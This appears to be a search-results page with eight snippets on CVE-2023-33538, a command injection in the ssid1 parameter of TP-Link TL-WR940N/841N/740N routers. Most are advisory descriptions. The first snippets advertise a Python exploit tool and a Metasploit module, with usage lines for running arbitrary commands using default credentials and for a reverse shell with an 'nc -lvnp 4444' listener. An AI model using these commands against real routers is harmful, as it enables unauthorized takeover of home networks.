8 matches found
CVE-2023-33538
针对TP-Link TL-WR940N/TL-WR841N命令注入漏洞的Python利用工具 使用说明 1. 基本漏洞检查 ： root@kitploit: python tplinkexploit.py -t 192.168.1.1 -u admin -p admin 2. 执行自定义命令 ： root@kitploit: python tplinkexploit.py -t 192.168.1.1 -u admin -p admin -c "yourcommandhere" 3. 反弹Shell （首先设置监听器：nc -lvnp 4444）： root@kitploit: pyth...
CVE-2023-33538-msf
CVE-2023-33538 – TP-Link TL-WR940N/841N 命令注入（Metasploit 模块） 这个 Metasploit 辅助模块 针对 TP-Link TL-WR940N V2/V4 和 TL-WR841N V8/V10 路由器中一个已认证的 命令注入漏洞 。 问题出在 WlanNetworkRpm.htm 中使用的易受攻击的 ssid1 参数，该参数允许注入任意 shell 命令。 如果成功，攻击者可以在设备上执行任意命令。 关于 CVE 的更多信息： https://nvd.nist.gov/vuln/detail/CVE-2023-33538...
VulnCheck KEV: CVE-2023-33538
TP-Link TL-WR940N V2/V4, TL-WR841N V8/V10, and TL-WR740N V1/V2 contain a command injection vulnerability via the component /userRpm/WlanNetworkRpm. The impacted products could be end-of-life EoL and/or end-of-service EoS. Users should discontinue product utilization...
CVE-2023-33538
TP-Link TL-WR940N V2/V4, TL-WR841N V8/V10, and TL-WR740N V1/V2 was discovered to contain a command injection vulnerability via the component /userRpm/WlanNetworkRpm...
The vulnerability of the WlanNetworkRpm component (/userRpm/WlanNetworkRpm.htm) in the software of TP-Link routers such as TL-WR940N, TL-WR740N, and TL-WR841N allows a hacker to execute arbitrary commands or cause service failures.
The vulnerability of the WlanNetworkRpm component /userRpm/WlanNetworkRpm.htm of TP-Link routers such as TL-WR940N, TL-WR740N, and TL-WR841N is related to the failure to eliminate special elements used in the operating system’s processing of the ssid1 parameter. Exploiting this vulnerability allo...
CVE-2023-33538
TP-Link TL-WR940N V2/V4, TL-WR841N V8/V10, and TL-WR740N V1/V2 was discovered to contain a command injection vulnerability via the component /userRpm/WlanNetworkRpm...
